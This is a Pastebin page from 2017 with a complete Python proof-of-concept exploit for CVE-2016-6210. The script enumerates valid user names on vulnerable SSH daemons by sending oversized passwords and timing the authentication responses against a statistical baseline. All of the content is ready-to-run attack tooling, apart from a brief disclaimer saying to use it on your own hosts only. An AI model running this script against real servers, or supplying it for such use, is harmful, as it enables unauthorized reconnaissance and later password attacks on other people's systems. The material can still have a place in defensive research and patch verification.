SHARE
TWEET

Untitled

a guest Jul 21st, 2017 27 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. #
  3. # CVEs:                  CVE-2016-6210 (Credits for this go to Eddie Harari)
  4. #
  5. # Author:                0_o -- null_null
  6. #                        nu11.nu11 [at] yahoo.com
  7. #                        Oh, and it is n-u-one-one.n-u-one-one, no l's...
  8. #                        Wonder how the guys at packet storm could get this wrong :(
  9. #
  10. # Date:                  2016-07-19
  11. #
  12. # Purpose:               User name enumeration against SSH daemons affected by CVE-2016-6210.
  13. #
  14. # Prerequisites:         Network access to the SSH daemon.
  15. #
  16. # DISCLAIMER:            Use against your own hosts only! Attacking stuff you are not
  17. #                        permitted to may put you in big trouble!
  18. #
  19. # And now - the fun part :-)
  20. #
  21.  
  22.  
  23. import paramiko
  24. import time
  25. import numpy
  26. import argparse
  27. import sys
  28.  
  29. args = None
  30.  
  31. class bcolors:
  32.   HEADER = '\033[95m'
  33.   OKBLUE = '\033[94m'
  34.   OKGREEN = '\033[92m'
  35.   WARNING = '\033[93m'
  36.   FAIL = '\033[91m'
  37.   ENDC = '\033[0m'
  38.   BOLD = '\033[1m'
  39.   UNDERLINE = '\033[4m'
  40.  
  41.  
  42. def get_args():
  43.   parser = argparse.ArgumentParser()
  44.   group = parser.add_mutually_exclusive_group()
  45.   parser.add_argument("host", type = str, help = "Give SSH server address like ip:port or just by ip")
  46.   group.add_argument("-u", "--user", type = str, help = "Give a single user name")
  47.   group.add_argument("-U", "--userlist", type = str, help = "Give a file containing a list of users")
  48.   parser.add_argument("-e", "--enumerated", action = "store_true", help = "Only show enumerated users")
  49.   parser.add_argument("-s", "--silent", action = "store_true", help = "Like -e, but just the user names will be written to stdout (no banner, no anything)")
  50.   parser.add_argument("--bytes", default = 50000, type = int, help = "Send so many BYTES to the SSH daemon as a password")
  51.   parser.add_argument("--samples", default = 12, type = int, help = "Collect so many SAMPLES to calculate a timing baseline for authenticating non-existing users")
  52.   parser.add_argument("--factor", default = 3.0, type = float, help = "Used to compute the upper timing boundary for user enumeration")
  53.   parser.add_argument("--trials", default = 1, type = int, help = "try to authenticate user X for TRIALS times and compare the mean of auth timings against the timing boundary")
  54.   args = parser.parse_args()
  55.   return args
  56.  
  57.  
  58. def get_banner(host, port):
  59.   ssh = paramiko.SSHClient()
  60.   ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  61.   try:
  62.     ssh.connect(hostname = host, port = port, username = 'invalidinvalidinvalid', password = 'invalidinvalidinvalid')
  63.   except:
  64.     banner = ssh.get_transport().remote_version
  65.     ssh.close()
  66.     return banner
  67.  
  68.  
  69. def connect(host, port, user):
  70.   global args
  71.   starttime = 0.0
  72.   endtime = 0.0
  73.   p = 'B' * int(args.bytes)
  74.   ssh = paramiko.SSHClient()
  75.   ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  76.   starttime=time.clock()
  77.   try:
  78.     ssh.connect(hostname = host, port = port, username = user, password = p, look_for_keys = False, gss_auth = False, gss_kex = False, gss_deleg_creds = False, gss_host = None, allow_agent = False)
  79.   except:
  80.     endtime=time.clock()
  81.   finally:
  82.     ssh.close()
  83.     return endtime - starttime
  84.  
  85.  
  86.  
  87. def main():
  88.   global args
  89.   args = get_args()
  90.   if not args.silent: print("\n\nUser name enumeration against SSH daemons affected by CVE-2016-6210")
  91.   if not args.silent: print("Created and coded by 0_o (nu11.nu11 [at] yahoo.com), PoC by Eddie Harari\n\n")
  92.   if args.host:
  93.     host = args.host.split(":")[0]
  94.     try:
  95.       port = int(args.host.split(":")[1])
  96.     except IndexError:
  97.       port = 22
  98.   users = []
  99.   if args.user:
  100.     users.append(args.user)
  101.   elif args.userlist:
  102.     with open(args.userlist, "r") as f:
  103.       users = f.readlines()
  104.   else:
  105.     if not args.silent: print(bcolors.FAIL + "[!] " + bcolors.ENDC + "You must give a user or a list of users")
  106.     sys.exit()
  107.   if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing SSHD at: " + bcolors.BOLD + str(host) + ":" + str(port) + bcolors.ENDC +  ", Banner: " + bcolors.BOLD + get_banner(host, port) + bcolors.ENDC)
  108.   # get baseline timing for non-existing users...
  109.   baseline_samples = []
  110.   baseline_mean = 0.0
  111.   baseline_deviation = 0.0
  112.   if not args.silent: sys.stdout.write(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Getting baseline timing for authenticating non-existing users")
  113.   for i in range(1, int(args.samples) + 1):
  114.     if not args.silent: sys.stdout.write('.')
  115.     if not args.silent: sys.stdout.flush()
  116.     sample = connect(host, port, 'foobar-bleh-nonsense' + str(i))
  117.     baseline_samples.append(sample)
  118.   if not args.silent: sys.stdout.write('\n')
  119.   # remove the biggest and smallest value
  120.   baseline_samples.sort()
  121.   baseline_samples.pop()
  122.   baseline_samples.reverse()
  123.   baseline_samples.pop()
  124.   # do math
  125.   baseline_mean = numpy.mean(numpy.array(baseline_samples))
  126.   baseline_deviation = numpy.std(numpy.array(baseline_samples))
  127.   if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline mean for host " + host + " is " + str(baseline_mean) + " seconds.")
  128.   if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline variation for host " + host + " is " + str(baseline_deviation) + " seconds.")
  129.   upper = baseline_mean + float(args.factor) * baseline_deviation
  130.   if not args.silent: print(bcolors.WARNING + "[*] " + bcolors.ENDC + "Defining timing of x < " + str(upper) + " as non-existing user.")
  131.   if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing your users...")
  132.   #
  133.   # Get timing for the given user name...
  134.   #
  135.   for u in users:
  136.     user = u.strip()
  137.     enum_samples = []
  138.     enum_mean = 0.0
  139.     for t in range(0, int(args.trials)):
  140.       timeval = connect(host, port, user)
  141.       enum_samples.append(timeval)
  142.     enum_mean = numpy.mean(numpy.array(enum_samples))
  143.     if (enum_mean < upper):
  144.       if not (args.enumerated or args.silent) :
  145.         print(bcolors.FAIL + "[-] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
  146.     else:
  147.       if not args.silent:
  148.         print(bcolors.OKGREEN + "[+] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
  149.       else:
  150.         print(user)
  151.  
  152.  
  153.  
  154.  
  155. if __name__ == "__main__":
  156.   main()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top